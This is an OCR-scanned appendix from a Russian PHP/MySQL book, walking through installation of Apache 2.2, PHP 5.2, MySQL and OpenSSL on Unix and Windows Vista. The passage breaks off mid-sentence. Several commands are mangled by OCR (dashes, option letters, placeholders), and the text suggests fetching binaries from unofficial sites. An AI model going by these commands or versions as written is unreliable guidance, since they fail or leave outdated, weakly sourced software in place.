Инсталляция РНР и MySQL Версии Apache, РЦР и MySQL существуют для очень многих комбинаций опера- ционных систем и веб-серверов. В этом приложении вы найдете практическую методику установки Apache, РНР и MySQL на различных серверных платформах. Кроме того, мы рассмотрим наиболее распространенные варианты для платформ на базе операционных систем Unix и Windows Vista. В этом приложении, помимо прочих, рассматриваются следующие темы. Запуск РНР как CGI-интерпретатор или как модуль. Инсталляция Apache, SSL, РНР и MySQL на Unix-машине. Инсталляция Apache, РНР и MySQL на Windows-машине. Проверка работоспособности РНР: функция phpinfo (). Добавление РНР к серверу Microsoft Internet Information Server. Инсталляция PEAR. Настройка других конфигураций. На замётку! Добавление РНР к Microsoft Internet Information Server или другим веб-серверам в этом при- ложении не рассматривается. Когда это возможно, мы рекомендуем использовать веб-сервер Apache. За информацией об инсталляции РНР на Microsoft IIS или Personal Web Server (PWS) об- ращайтесь к руководству по РНР, которое доступно по адресу http://www.php.net/manual/ en/install.windows.iis.php. Цель материала, приведенного в этом приложении, заключается в предоставле- нии своего рода краткого руководства по инсталляции веб-сервёра, полезного для тех, кто занимается поддержкой множества веб-сайтов;<Некоторые сайты, как было показано на примерах, для реализации функций электронной коммерции требуют ис- пользования слоя защищенных сокетов (Secure Socket Layer — SSL). Большинство из таких сайтов управляется сценариями, которые подключаются к серверу баз данных, а затем запрашивают и обрабатывают полученные данные. Многим пользователям вовсе не требуется устанавливать РНР на своих компьюте- рах, и именно поэтому данные сведения приводятся в приложении, а не, скажем, в первой главе. Наиболее простой способ получить доступ к надежному серверу через высокоскоростное соединение, с установленным на сервере РНР, сводится лишь к простой регистрации у бесчисленного множества компаний, предлагающих веб-хос- тинг практически в любой точке земного шара. 814 Часть VI. Приложения
В зависимости от причин, по которым приходится устанавливать РНР на своем компьютере, существует множество решений. Если вы располагаете машиной, постоян- но подключенной к сети, и планируете использовать ее в качестве сервера, на первый план выходит проблема производительности. Если же вы пытаетесь создать сервер для разработки веб-приложений, который будет служить эффективным инструментом как для собственно разработки, так и для тестирования кода, то первейшей задачей ока- зывается наличие возможности воспроизвести конфигурации, которые встречаются в реальных ситуациях. В том случае, если планируется на одном и том же компьютере совместно запускать ASP и РНР, в силу вступают разнообразные ограничения. На заметку! Интерпретатор РНР можно запускать как модуль или как отдельный бинарный исполняемый CGI-файл (Common Gateway Interface — общий шлюзовой интерфейс). В большинстве случаев модульный вариант выбирают из соображений увеличения общей производительности. CGI-вер- сия позволяет пользователям сервера Apache запускать PHP-сценарии с различных страниц под разными идентификаторами. В этом приложении мы в основном касаемся вопросов использо- вания модульного метода для запуска РНР. Инсталляция Apache, РНР и MySQL на Unix-машине В зависимости от существующих потребностей, а также от вашего опыта эксплуа- тации систем на базе Unix, вы можете отдать предпочтение либо установке готового бинарного кода, либо компиляции исходных текстов всех упомянутых приложений. Оба подхода характеризуются своими достоинствами и недостатками. Бинарная инсталляция может отнять буквально несколько минут у профессиона- ла и, может быть, минут десять-пятнадцать у новичка. Тем не менее, в этом случае следует помнить, что инсталляция бинарных файлов рассчитана на довольно-таки стандартные конфигурации, коих всего лишь несколько, причем настройки сделаны кем-то другим, и вряд ли они полностью удовлетворят ваши потребности. Инсталляция исходных кодов требует нескольких часов для выгрузки самих кодов, собственно установки и конфигурирования, поэтому может вызывать определенные затруднения у новичков. Однако такая инсталляция обеспечивает полный контроль над полученной конфигурацией. В этом случае у вас есть возможность выбирать, ка- кие конкретно модули и какие версии необходимо устанавливать, а также какие кон- фигурационные параметры включать. Инсталляция бинарных файлов Большинство дистрибутивов Linux включают в себя предварительно сконфигури- рованный веб-сервер Apache со встроенной поддержкой РНР. Что конкретно поддер- живается, зависит от выбранного дистрибутива и версии. Одним из существенных недостатков инсталляции бинарных файлов является не- возможность получить наиболее свежую версию той или иной программы. В зависи- мости от степени важности выявленных и исправленных ошибок, использование ста- рых версий может быть и не сопряжено с какой-то проблемой. Самый существенный момент, о котором следует помнить, заключается в том, что вы не можете управлять тем, с какими опциями была скомпилирована ваша программа. Приложение А. Инсталляция РНР и MySQL 815
Наиболее гибким и надежным путем является компиляция исходных кодов всех требуемых программ. Это отнимает несколько больше времени, нежели инсталляция RPM-модулей, так что многие решают использовать доступные RPM-модули или дру- гие бинарные пакеты. Даже если на официальных сайтах отсутствуют бинарные фай- лы для вашей конфигурации, их вполне можно найти на каком-то неофициальном сайте, воспользовавшись поисковой системой. Инсталляция исходных кодов Давайте теперь займемся установкой Apache, РНР и MySQL в среде Unix. Вначале не- обходимо решить, какие дополнительные модули могут потребоваться вместе с нашим трио. Поскольку некоторые из примеров в этой книге используют защищенный сервер для веб-транзакций, потребуется установить сервер с поддержкой протокола SSL. Наша конфигурация РНР будет более-менее совпадать с настройкой по умолча- нию, но будет также рассказано и о подключении библиотеки gd2 в РНР. Библиотека gd2 представляет собой одну из великого множества библиотек, дос- тупных для РНР. Мы включили этот шаг инсталляции для демонстрации того, как устанавливать дополнительные PHP-библиотеки. Компиляция большинства Unix-npo- грамм выполняется по очень похожему сценарию. Как правило, после инсталляции любой новой библиотеки необходимо повторно компилировать РНР, поэтому, если заранее известно, что вы хотите получить, имеет смысл сначала инсталлировать все необходимые библиотеки, а затем один раз пере- компилировать РНР. Здесь мы опишем процесс инсталляции на сервере, функционирующем под управ- лением SuSE Linux, однако сам процесс является настолько общим, что его можно применять в отношении любого Unix-сервера. Давайте сначала посмотрим, какие файлы требуются для инсталляции. Apache (http: / /httpd. apache. org/) — веб-сервер. OpenSSL (http: / /www. openssl. org/) — инструментальный набор разработчи- ка с открытым исходным кодом, который необходим для реализации слоя за- щищенных сокетов. MySQL (http: // www.mysql. com/) — система управления реляционными базами данных. РНР (http: //www.php. net/) — серверный язык написания сценариев. http://www.pdflib.com/pdflib/download/index.html — библиотека для гене- рации PDF-документов на лету. ftp://ftp.uu.net/graphics/jpeg/ — библиотека JPEG, необходимая для биб- лиотек PDFlib и gd. http: //www.libpng.org/pub/png/libpng.html — библиотека PNG, необходи- мая для библиотеки gd. http: / /www. zlib. net/ — библиотека zlib, необходимая для библиотеки PNG. http://www.libtiff.org/ — библиотека TIFF, необходимая для библиотеки PDFlib. ftp://ftp.cac.washington.edu/imap/ — С-клиент IMAP, необходимый для IMAP. 816 Часть VI. Приложения
Если вы планируете использовать функцию mail (), у вас должен быть установлен агент передачи почты (mail transfer agent — МТА), хотя его установку мы здесь не рассматриваем. Мы исходим из предположения, что вы имеете привилегированный (root) доступ к серверу, а в системе установлены следующие инструменты: gzip или gun zip gcc и GNU make Когда все готово к инсталляции, следует загрузить все tar-файлы с исходными ко- дами во временный каталог. Перед этим убедитесь, что в соответствующем разделе жесткого диска имеется достаточно свободного пространства. В нашем случае вре- менным каталогом является /usr/src. Во избежание проблем с правами доступа, все файлы необходимо загружать, войдя в систему как пользователь root. Инсталляция MySQL В этом разделе мы рассмотрим, как выполняется инсталляция бинарных файлов MySQL. Данная инсталляция автоматически помещает файлы в различные каталоги. Для установки остальных членов нашего трио были выбраны следующие каталоги: ' /usr/local/apache2 /usr/local/ssl Разумеется, можно использовать и другие каталоги. Что ж, приступим! Прежде всего, с помощью команды su станьте пользователем root: # su root Введите пароль для пользователя root. Затем перейдите в каталог, содержащий файлы с исходным кодом, например: # cd /usr/src Рекомендации по MySQL гласят, чтобы пользователи загружали бинарный файл MySQL, а не компилировали исходные коды с нуля. Какую версию выбрать — зависит от необходимой вам функциональности. Несмотря на то что предварительные версии MySQL отличаются довольно высокой стабильностью, возможно, по ряду причин вы не захотите их использовать на собственном коммерческом сайте. Если вы хорошо знаете возможности машины, то выбор версии MySQL не составит большого труда. Потребуется загрузить следующие пакеты: МуSQL-server-ВЕРСИЯ.i386. rpm Му SQL-Max-ВЕРСИЯ.i386. rpm MySQL-client-ВЕРСИЯ.i386.rpm (Вместо заполнителя ВЕРСИЯ должен быть подставлен номер версии. Какая бы версия вас не интересовала, убедитесь, что вы загружаете согласованный набор па- кетов.) Если вы планируете выполнять на одной и той же машине и MySQL-клиент, и MySQL-сервер, а также встроить поддержку MySQL в РНР, вам потребуются все пере- численные выше пакеты. Следующая команда обеспечивает инсталляцию серверов и клиента MySQL: rpm -i MySQL-server-BEPCJfH.i386.rpm rpm -i MySQL-Max-BEPCJfH.i386.rpm rpm -I MySQL-client-BEPCJIH. i386. rpm После этого сервер MySQL должен установиться и запуститься. Приложение А. Инсталляция РНР и MySQL 817
Сейчас самое время установить пароль для пользователя root. Не забудьте заме- нить строку new-password в приведенной ниже команде на что-нибудь приемлемое, иначе паролем пользователя root будет new-password: mysqladmin -u root password ’new-password’ После инсталляции MySQL автоматически создаются две базы данных. Одна из них, mysql, содержит таблицы, которые управляют пользователями, хостами и пра- вами доступа к базам данных на реальном сервере. Вторая является тестовой базой данных (test). Проверить это можно с помощью следующей командной строки: # mysql -u root —р Enter password: mysql> show databases; +-------------------+ I Database I +-------------------+ I mysql | I test I +-------------------+ 2 rows in set (0.00 sec) # mysql —u root —p Введите пароль: mysql> show databases; +-------------------+ I База данных | +-------------------+ I mysql | I test | +-------------------+ 2 строки в наборе (0.00 с) Затем введите quit или \q для завершения MySQL-клиента. Конфигурация MySQL по умолчанию разрешает входить в систему любому поль- зователю без указания имени пользователя и пароля. Совершенно очевидно, что это неприемлемо. Последней порцией работы по установке MySQL является удаление анонимного пользователя. Введите в командной строке следующие команды: # mysql -u root —р mysql> use mysql mysql> delete from user where User=’’; mysql> quit Для того чтобы изменения вступили в силу, потребуется также выдать следующую команду: mysqladmin -u root -р reload Необходимо также включить бинарную регистрацию на сервере MySQL, посколь- ку она пригодиться для целей репликации. Для этого сначала остановите сервер: mysqladmin -u root -р shutdown Создайте файл с именем /etc/my.cnf, который будет служить в качестве файла опций MySQL. На данный момент вам нужна только одна опция, хотя опций существу- ет великое множество. Полный список опций можно найти в руководстве по MySQL. 818 Часть VI. Приложения
Откройте файл /etc/my.cnf в каком-нибудь текстовом редакторе и поместите в него следующие строки: [mysqld] log-bin Сохраните файл и выйдцте из редактора. Перезапустите сервер, выполнив mysqld—Saf е. . Инсталляция РНР Вы снова должны иметь права пользователя root (если это не так, воспользуйтесь командой su). Перед инсталляцией РНР должен быть доступен сконфигурированный сервер Apache, чтобы местонахождение всех элементов было известным. (Мы вернемся к этому вопросу позже, в разделе, посвященном настройке сервера Apache.) Перейдите обратно в каталог, содержащий файлы с исходным кодом: # cd /usr/src # gunzip —с httpd-2.2.9.tar.gz | tar xvf - # cd httpd-2.2.9 # ./configure —prefix=/usr/local/apache2 Итак, можно приступить к установке РНР. Разархивируйте файлы с исходным ко- дом РНР и перейдите в соответствующий каталог: # cd /usr/src # gunzip -с php-5.2.9.tar.gz | tar‘xvf - # cd php-5.2.9 Опять-таки, утилита configure пакета PHP принимает множество опций. Воспользуйтесь командой ./configure —help I less, чтобы определиться насчет добавляемых опций. В данном случае мы хотим добавить поддержку MySQL, Apache, PDFlib и gd. Обратите внимание, что все приведенные ниже строки относятся к одной коман- де. Ее можно разместить в одной строке или, как показано ниже, в нескольких, ис- пользуя символ продолжения (обратную косую черту (\)), что существенно улучшает читабельность: # ./configure —pref1х=/путь/к/рЬр —with-mysqli=/путь/к/mysql_config \ —with-apxs2=/usr/local/apache2/bin/apxs \ —with-jpeg-dir=/nyTb/K/jpeglib \ —with-tiff-dir=/nyTb/K/tiffdir \ —with-zlib-dir=/nyTb/K/zlib \ —with-imap=/nyTb/K/imapcclient \ —with-gd Далее следует выполнить компоновку и установку бинарных файлов: # make # make install Скопируйте конфигурационный INI-файл в каталог lib: # ср php.ini-dist /usr/local/lib/php.ini или # ср php.ini-recommended /usr/local/lib/php.ini Приложение А. Инсталляция PHP и MySQL 819
Две версии INI-файла, присутствующие в приведенных выше командах, содержат различные наборы опций. Первый файл, php. ini-dist, предназначен для машин, ориентированных на разработку программного обеспечения. Например, параметр display errors в нем установлен равным On. Это существенно упрощает процесс разработки, однако совершенно неприемлемо для машин с промышленными версия- ми. Всегда, когда мы ссылались на значения по умолчанию для параметров php.ini, мы имели в виду именно эту версию файла. Вторая версия, php. ini-recommended, ориентирована на использование на машинах с промышленными версиями. Для настройки опций РНР можно отредактировать файл php.ini. Несмотря на то что в файле присутствует множество опций, лишь некоторым из них следует уде- лять внимание. Возможно, вы решите установить значение опции sendmail path, если планируете отправлять электронную почту из сценариев. Теперь следует настроить OpenSSL, если вы хотите использовать и создавать вре- менные сертификаты и CSR-файлы. В опции —prefix должен быть указан главный каталог инсталляции: # gunzip -с openssl-0.9.8h.tar.gz | tar xvf - # cd openssl-0.9.8h # ./config —prefix=/usr/local/ssl А сейчас скомпонуйте ее, протестируйте и установите: # make # make test # make install Теперь сконфигурируем Apache для компиляции. Опция конфигурации —enable-so включает использование динамических разделяемых объектов (dynamic shared ob- jects — DSO), а опция --enable-ssl разрешает использование модуля mod_ssl. Поставщикам Интернет-услуг и разработчикам, поддерживающим пакеты, настоя- тельно рекомендуется использовать DSO для достижения максимальной гибкости серверного программного обеспечения. Однако следует отметить, что Apache под- держивает DSO далеко не на всех платформах. # cd ../hftpd-2.2.9 # SSL_BASE=../openssl-0.9.8h \ ./configure \ —prefix=/usr/local/apache2 \ —enable-so —enable-ssl В заключение можно выполнить сборку сервера Apache и сертификатов, а затем установить их: # make Если все прошло успешно, на экран выводится следующее сообщение: +-----------------------------------------------------------------------------+ I Before you install the package you now should prepare the SSL I I certificate system by running the ’make certificate’ command. I I For different situations the following variants are provided: I | % make certificate TYPE=dummy (dummy self-signed Snake Oil cert) | | % make certificate TYPE=test (test cert signed by Snake Oil CA) I | % make certificate TYPE=custom (custom cert signed by own CA) | I % make certificate TYPE=existing (existing cert) I 820 Часть VI. Приложения
CRT=/path/to/your.crt [KEY=/path/to/your.key] Use TYPE=dummy when you're a vendor package maintainer, the TYPE=test when you're an admin but want .to do tests only, the TYPE=custom when you're an admin willing to run a real server and TYPE=existing when you're an admin who upgrades a server. I (The default is TYPE=test) | I Additionally add ALGORSA (default) or ALGO=DSA to select | I the signature algorithm used for the generated certificate. | I I I Use ’make certificate VIEW=1’ to display the generated data. | I I I Thanks for using Apache & mod_ssl. Ralf S. Engelschall | I rse@engelschall.com | I www.engelschall.com | +---------------------------------------------------------------------------+ +--------*---------------------------------------------------------------------+ | Перед инсталляцией пакета вы должны подготовить систему | I сертификатов SSL, выполнив команду 'make certificate'. | | Для различных ситуаций предлагаются следующие варианты: • | | % make certificate TYPE=dummy (фиктивный самостоятельно подписанный сертификат Snake Oil) | | % make certificate TYPE=test (тестовый сертификат, подписанный агентством Snake Oil)| | % make certificate TYPE=custom (пользовательский сертификат, подписанный собственным агентством) | | % make certificate TYPE=existing (существующий сертификат) | I CRT=/путь/к/вашему.сертификату [КЕУ=/путь/к/вашему.ключу] | I I I Use TYPE=dummy если вы поддерживаете собственный пакет, | | the TYPE=test если вы администратор, но хотите только выполнить тестирование, | | the TYPE=custom если вы администратор и желаете запустить реальный сервер, | I and TYPE=existing если вы администратор и желаете модернизировать сервер. | | (Значением по умолчанию является TYPE=test) [ I I | Дополнительно установите ALGO=RSA (по умолчанию) или ALGO=DSA для выбора | | алгоритма получения сигнатуры, который используется при генерации сертификатов. | I I | Для вывода сгенерированных данных используйте 'make certificate VIEW=1'. | I I | Спасибо за использование Apache и mod_ssl. Ральф С. Енгельшалл | I rse@engelschall.com | I www.engelschall.com | +------------------------------------------------------------------------------+ После этого можно создать пользовательский сертификат. В этом случае будет выдан запрос на расположение, наименование компании и другую информацию. В качестве контактной информации имеет смысл указывать реальные данные. На другие выдаваемые вопросы вполне можно ограничиться ответами, предлагаемыми по умолчанию. # make certificate TYPE=custom Приложение А. Инсталляция РНР и MySQL 821
Сейчас выполним установку Apache: # make install Если все прошло успешно, на экране должно появиться приблизительно такое со- общение: +------------------------------------------------------------------------------+ I You now have successfully built and installed the I I Apache 2.2 HTTP server. To verify that Apache actually I I works correctly you now should first check the I I (initially created or preserved) configuration files I I ” I I /usr/local/apache2/conf/httpd.conf I I I I and then you should be able to immediately fire up I I Apache the first time by running: I I I I /usr/local/apache/bin/apachectl start I I I I Thanks for using Apache. The Apache Group I | http://www.apache.org/ I +--------.---------------------------------------------------------------------+ Вы успешно собрали и установили HTTP-сервер Apache 2.2. Для того чтобы убедиться, что Apache работает корректно, вы должны сначала проверить существование конфигурационных файлов (вновь созданных или сохраненных) /usr/local/apache2/conf/httpd.conf Затем можно будет непосредственно запустить Apache первый раз, набрав команду: /usr/local/apache/bin/apachectl start Спасибо за использование Apache. Группа Apache http://www.apache.org/ Теперь самое время проверить работоспособность Apache и РНР. Однако до этого сле- дует внести изменения в файл httpd. conf, добавив в конфигурацию тип РНР. Фрагменты файла httpd. conf Внимательно просмотрите файл httpd.conf. После выполнения всех предыдущих шагов файл httpd.conf должен находиться в каталоге /usr/local/apache2/conf. В этом файле присутствует опция AddType для РНР, однако она закомментирова- на. Вы должны убрать символы комментария, как показано ниже: AddType application/x-httpd-php .php AddType application/x-httpd-php-source .phps 822 Часть VI. Приложения
Сейчас все готово к запуску и проверке работоспособности сервера Apache. Вначале сервер следует запустить без поддержки SSL, чтобы просто убедиться, функ- ционирует ли он. После этого необходимо проверить поддержку РНР, остановить и перезапустить сервер, но уже с поддержкой SSL, чтобы протестировать и ее. С помощью утилиты configtest выполняется проверка правильности конфигу- рации: # cd /usr/local/apache2/bin # ./apachectl configtest Syntax OK # ./apachectl start ./apachectl start: httpd started Если сервер функционирует нормально, то при соединении с сервером в веб-брау- зере выводится содержимое, подобное показанному на рис. А.1. Рис. А.1. Стандартная тестовая страница сервера Apache На заметку! Подключиться к серверу можно с использованием имени домена или IP-адреса машины. Во время тестирования следует испробовать оба варианта. Работает ли поддержка РНР? Теперь необходимо проверить поддержку РНР. Для этого потребуется соз- дать файл test.php, содержащий код, который показан ниже. Файл должен быть расположен в корневом каталоге документов — по умолчанию это /usr/local/ apache2/htdocs. Обратите внимание, что в общем случае путь зависит от выбран- ного в начале каталога. В процессе работы настройку можно изменить в файле httpd.conf. <?php phpinfo (); ?> Приложение А. Инсталляция РНР и MySQL 823
Результирующий вывод должен выглядеть приблизительно так, как показано на рис. А.2. phpmfсО - MoziUe Firefox Файл Правка ёид Журнал ^вкладки Инструменты ^правка О' ’ С http- localhost/phprnysqUe/testphp Самые популярные Начальная страница Лейта новостей Готово Рис. А.2. Функция phpinfo () выдает полезную информацию о конфигурации Работает ли SSL? В Apache 2.2 для включения SSL нужно всего лишь убрать комментарий с правила для файла httpdssl.conf в httpd. conf. Следующая строка: # Include conf/extra/httpd-ssl.conf Должна выглядеть так: Include conf/extra/httpd-ssl.conf В сам файл httpd-ssl. conf можно внести множество изменений, связанных с конфигурацией; за деталями обращайтесь к документации Apache по адресу http: / / - httpd.apache.org/docs/2.2/mod/mod_ssl.html. После того, как все изменения сделаны, просто остановите и вновь запустите сервер: # /usr/local/apache2/bin/apachectl stop # /usr/local/apache2/bin/apachectl start 824 Часть VI. Приложения
Проверьте, работает ли он, подключившись к серверу с помощью веб-браузера и выбрав протокол https: https: //сервер, домен, сот Следует проверить и подключение к серверу с использованием его IP-адреса: https://ххх.ххх.ххх.ххх или http://xxx.xxx.xxx.xxx:443 Если все работает, как должно быть, сервер отправит браузеру сертификат для установки безопасного соединения. Браузер запросит подтверждение на принятие самоподписанного сертификата. Если сертификат поступил от какого-то центра по выдаче сертификатов, которому браузер уже доверяет, никаких сообщений выдавать- ся не будет. В нашем примере мы создали и подписали собственные сертификаты. Сейчас мы не склонны платить за сертификат кому бы то ни было, поскольку просто хотим проверить, все ли работает как надо. Если вы используете Internet Explorer или Firefox, то в строке состояния появится символ замка. Он говорит о том, что безопасное соединение успешно установлено. Пиктограмма, используемая в браузере Firefox, показана на рис. А.З; обычно пикто- грамма расположена в нижнем угле (правом либо левом) окна браузера. www.google.com Рис. А.З. Веб-браузеры выводят пиктограмму для отражения того, что просмат- риваемая в текущий момент страница поступила по безопасному соединению Для использования установленных PHP-модулей как разделяемых объектов потре- буется предпринять несколько дополнительных шагов. Для начала скопируйте собранный модуль в каталог PHP-расширений extensions, который, скорее всего, выглядит так: /usr/local/lib/php/extensions Добавьте в файл php.ini следующую строку: extension = имя_расширения.so Затем перезапустите Apache. Инсталляция Apache, РНР и MySQL на Windows-машине В среде Windows процесс установки несколько отличается, поскольку РНР можно на- строить либо как CGI-сценарий (php. ехе), либо как ISAP 1-модуль (php5apache2_2. dll). Тем не менее, Apache и MySQL устанавливаются таким же образом, как и под Unix. До инсталляции пакетов на Windows-машине следует убедиться, что уже установлены последние версии обновлений служб операционной системы. Приложение А. Инсталляция РНР и MySQL 825
На заметку! Поддержка версий ОС, предшествующих Windows 2000, в РНР 5.3 изъята. РНР 5.3 работает с Windows 2000, Windows Server 2003, Windows Server 2008, Windows Vista и последующими версиями. Инсталляция MySQL под Windows Приведенные ниже инструкции по инсталляции рассчитаны на работу под управ- лением Windows Vista. Инсталляционный файл Windows Essentials (* .msi) доступен для загрузки на веб- сайте http: / /www.mysql. com. Загрузите этот файл и дважды щелкните на его имени для начала установки. Первые несколько экранов процесса инсталляции содержат общую информацию и лицензию MySQL. Ознакомьтесь с этими экранами и щелкните на кнопке Continue (Продолжить). Первым важным выбором, с которым вы столкнетесь, будет выбор типа инсталляции — обычная (typical), полная (complete) или выборочная (custom). Для начала вполне достаточно обычной инсталляции, поэтому оставьте выбранным вариант по умолчанию и щелкните на кнопке Next (Далее) для продолжения. После завершения инсталляции воспользуйтесь мастером конфигурации экзем- пляра сервера MySQL (MySQL Server Instance Configuration Wizard) для создания специального файла my.ini, который отражает ваши конкретные потребности. Для продолжения работы мастера MySQL Server Instance Configuration Wizard отметьте флажок Configure MySQL Server Now (Сконфигурировать сервер MySQL сейчас) и щелкните на кнопке Finish (Готово). Выберите подходящие опции конфигурации, представленные на нескольких экранах мастера MySQL Server Instance Configuration Wizard; детальные описания опций можно найти в руководстве MySQL по адресу http://dev.mysql.com/doc/ ref man/5.О/еп/index.html. Как только конфигурирование будет завершено — вклю- чая добавление пароля для пользователя root — мастер запустит службу MySQL. Как только сервер будет установлен, его можно запускать, останавливать или оп- ределять для него автоматический запуск с использованием утилиты Службы, доступ- ной в панели управления. Для запуска этой утилиты щелкните на кнопке Пуск и вы- берите Панель управления. Дважды щелкните на пиктограмме Администрирование, а затем на пиктограмме Службы. Окно утилиты Службы показано на рис. А.4. Для настройки любого парамет- ра MySQL потребуется сначала остановить эту службу, а затем установить значение ее параметра Тип запуска (Startup Туре) равным Авто (Auto). Службу MySQL мож- но остановить либо с помощью утилиты Службы, либо с использованием команд NET STOP MySQL или mysqladmin shutdown. MySQL поступает co множеством утилит командной строки, каждая из которых характеризуется своей степенью удобства в использовании. Ни одну из них не удаст- ся просто так вызвать, если только имя каталога бинарных файлов MySQL не будет включено в переменную окружения PATH. Назначение упомянутой переменной состо- ит в том, что она указывает Windows, где искать исполняемые файлы. Многие из. используемых в командной строке Windows команд являются внутрен- ними, и они встроены в командный интерпретатор cmd. ехе. Другие команды, такие как format или ipconfig, имеют свои собственные исполняемые файлы. Не стоит и говорить, что необходимость ввода, например, C:\WINNT\system32\format, являет- ся совершенно неприемлемой. Точно так же неудобно было бы набирать С: \mysql\ bin\mysql для запуска монитора MySQL. 826 Часть VI. Приложения
Рис. А.4. Утилита “Службы” позволяет конфигурировать службы, выполняемые на вашей машине Имена каталогов, в которых хранятся исполняемые файлы базовых Windows-ко- манд, подобные format.exe, автоматически помещаются в переменную PATH, что позволяет в любом месте просто набирать так: format. Таким образом, дабы достичь той же степени удобства и в отношении утилит MySQL, мы должны добавить в пере- менную PATH соответствующую информацию. Щелкните на кнопке Пуск и выберите Панель управления. Дважды щелкните на элементе Система, затем на элементе Дополнительные параметры системы и в поя- вившемся окне Свойства системы перейдите на вкладку Дополнительно. Щелчок на кнопке Переменные среды приводит к отображению диалогового окна, в котором можно просмотреть все переменные окружения, определенные в системе. Дважды щелкните на переменной PATH и отредактируйте ее значение. Добавьте точку с запятой в конце текущего значения и добавьте c:\mysql\bin. После щелчка на кнопке ОК новое значение PATH будет сохранено в системном рее- стре. Изменения вступят в силу после перезагрузки машины. Инсталляция Apache под Windows Сервер Apache 2.2 работает на большинстве Windows-платформ и по сравнению с версиями Apache 2.0 и Apache 1.3 для Windows отличается более высокой произ- водительностью и надежностью. Сервер Apache можно собрать из исходного кода, но поскольку большинство пользователей Windows не располагают компиляторами, в этом разделе рассматривается версия инсталляции MSI. Зайдите на сайт http://httpd.apache.org и загрузите бинарный файл вер- сии Apache 2.2 для Windows. Мы загрузили файл apache_2.2.9-win32-x86- openssl-0.9.8hr2 .msi. Он представляет собой MSI-архив, содержащий текущую вер- сию (в рамках иерархии выпуска 2.2) для Windows без исходного кода и с OpenSSL 0.9.8h. MSI-файл — это формат, который использует мастер установки Windows. Приложение А. Инсталляция РНР и MySQL 827
Вопросы компиляции исходного кода Apache возникать не должны, поскольку по- добное требуется только в случаях, например, когда постоянно появляется неустра- нимая ошибка, или же вы решили присоединиться к команде разработчиков Apache. Упомянутый выше единственный файл содержит в себе весь сервер Apache, готовый к установке. Выполните двойной щелчок на этом файле, чтобы начать процесс инсталляции. Процесс инсталляции должен выглядеть очень знакомым. Как показано на рис. А.5, он выполняется аналогично установке других продуктов, при которой используется стандартный мастер установки Windows. Рис. А-5. Программа установки Apache проста в использовании Программа установки запросит у вас следующую информацию. Имя сети, имя сервера и адрес электронной почты администратора. Если вы задумали построить сервер для реального использования, вы должны знать чет- кие ответы на эти вопросы. В случае если вы строите сервер для личного ис- пользования, ответы на вопросы, не настолько важны. Хотите ли вы запускать Apache как службу. Как и в случае с MySQL, на этот во- прос лучше ответить утвердительно. Тип инсталляции. Мы рекомендуем отдать предпочтение варианту “Обычная” (“Typical”), тем не менее, вы можете выбрать и вариант “Выборочная” (“Custom”), если, например, решили не устанавливать некоторые компоненты, скажем, документацию. Каталог, в который необходимо установить Apache. (По умолчанию это C:\Program Files\Apache Software Foundation\Apache2.2.) После ответа на все перечисленные вопросы сервер Apache будет установлен и запущен. После запуска Apache будет прослушивать порт 80 (если только вы не измените установки Port, Listen или BindAddress в конфигурационном файле). Для подклю- чения к серверу и доступа к странице пб умолчанию запустите браузер и введите сле- дующий URL-адрес: http://localhost/ 828 Часть VI. Приложения
В результате в браузер должна загрузиться страница приглашения, похожая на по- казанную на рис. А.1. Если вообще ничего не произошло или же вы получили сооб- щение об ошибке, просмотрите файл error.log, расположенный в каталоге logs. Если вы не подключены к Интернету, возможно, вам потребуется использовать сле- дующий URL-адрес: http://127.0.0.1/ Это IP-адрес, который означает localhost. Если номер прослушиваемого порта был изменен на что-то, отличное от 80, в ко- нец URL-адреса необходимо добавить : номер_порта. Не следует забывать, что сервер Apache не допускает совместного использования одного и того же порта с другим ТСР/1Р-приложением. Запуск и останов Apache выполняется через меню Пуск — Apache просто добавля- ет свои файлы в группу Все программы^АрасИе HTTP Server. В подгруппе Control Apache Server (Управление сервером Apache) можно найти опции запуска, останова и перезапуска сервера. После инсталляции Apache может возникнуть необходимость отредактировать конфигурационные файлы, которые находятся в каталоге conf. Мы коснемся вопро- сов редактирования конфигурационного файла httpd.conf, когда дойдем до инстал- ляции РНЕ Инсталляция РНР под Windows Чтобы установить РНР под Windows, начните с загрузки необходимых фай- лов из сайта http://www.php.net. Для инсталляции под Windows потребуется загрузить два файла — zip-архив, со- держащий РНР (с именем наподобие php-5.2.9-Win32. zip), и zip-архив с кол- лекцией библиотек (с именем pecl-5.2.6-Win32. zip или похожим). Начните с распаковки zip-файла в любой рабочий каталог. Обычно это каталог C:\PHP, и как раз на него мы и будем ссылаться во время дальнейших объяснений. Установить библиотеки PECL можно путем распаковки соответствующего архи- ва в каталог расширений РНР. Если в качестве основного каталога для РНР выбран C:\PHP, то расширения, как правило, хранятся в С: \PHP\ext. Теперь выполните описанные ниже действия. 1. В главном каталоге должны присутствовать файлы php. ехе и php5ts .dll. Они необходимы для запуска РНР как CGI-модуля. Если необходимо запускать РНР как SAPI-модуль, вы должны перейти в каталог C:\PHP\s ар in скопировать из него соответствующую DLL-библиотеку для веб-сервера в каталог C:\PHP; в данном случае php 5 apache 2_2 .dll. ISAPI-модули отличаются большим быстродействием и простотой защиты. CGI- версия позволяет запускать РНР из командной строки. Опять-таки, выбор ис- ключительно за вами. 2. Настройте конфигурационный файл php. ini. В состав дистрибутива РНР входят два конфигурационных файла: php. ini-dist и php. ini-recommended. Мы предполагаем, что вы будете использовать php. ini-dist во время изучения РНР и на инструментальном сервере, a php. ini-recommended — на производственном сервере. Скопируйте этот файл и переименуйте копию на php. ini. Приложение А. Инсталляция РНР и MySQL 829
3. Отредактируйте файл php.ini. В нем содержится изрядное количество конфигурационных параметров, большинство из которых на данный момент можно проигнорировать. Настройки, которые придется изменить сейчас, перечислены ниже. • Директива exten s i on di г должна указывать на каталог, в котором размещают- ся DLL-библиотеки расширений. При стандартной инсталляции это должен быть каталог С: \ PHP\ext. Таким образом, ваша копия файла php. ini должна содержать строку: extension_dir = c:/php/ext • Директива doe r oot должна указывать на корневой каталог, который обслужи- вается вашим веб-сервером. Для случая сервера Apache строка должна выгля- деть следующим, образом: doc_root = "с:/Program Files/Apache Software Foundation/Apache2.2/htdocs" • Вам потребуется также определить, какие расширения необходимо запустить. Мы предполагаем, что на данном этапе вас должен интересовать только РНР, однако вы можете добавить любые требуемые расширения. Для того чтобы до- бавить расширения, посмотрите на список, помеченный как Windows Exten- sions. Он содержит множество строк наподобие: ;extension=php_pdf . dll Чтобы включить данное расширение, удалите символ точки с запятой в нача- ле строки (понятно, что помещение символа точки с запятой в начало стро- ки, наоборот, отключает расширение). Изменения вступают в силу только после повторного запуска веб-сервера. Для целей этой книги потребуется включить следующие расширения: php_pdflib.dll, php_gd2.dll, php_imap.dll и 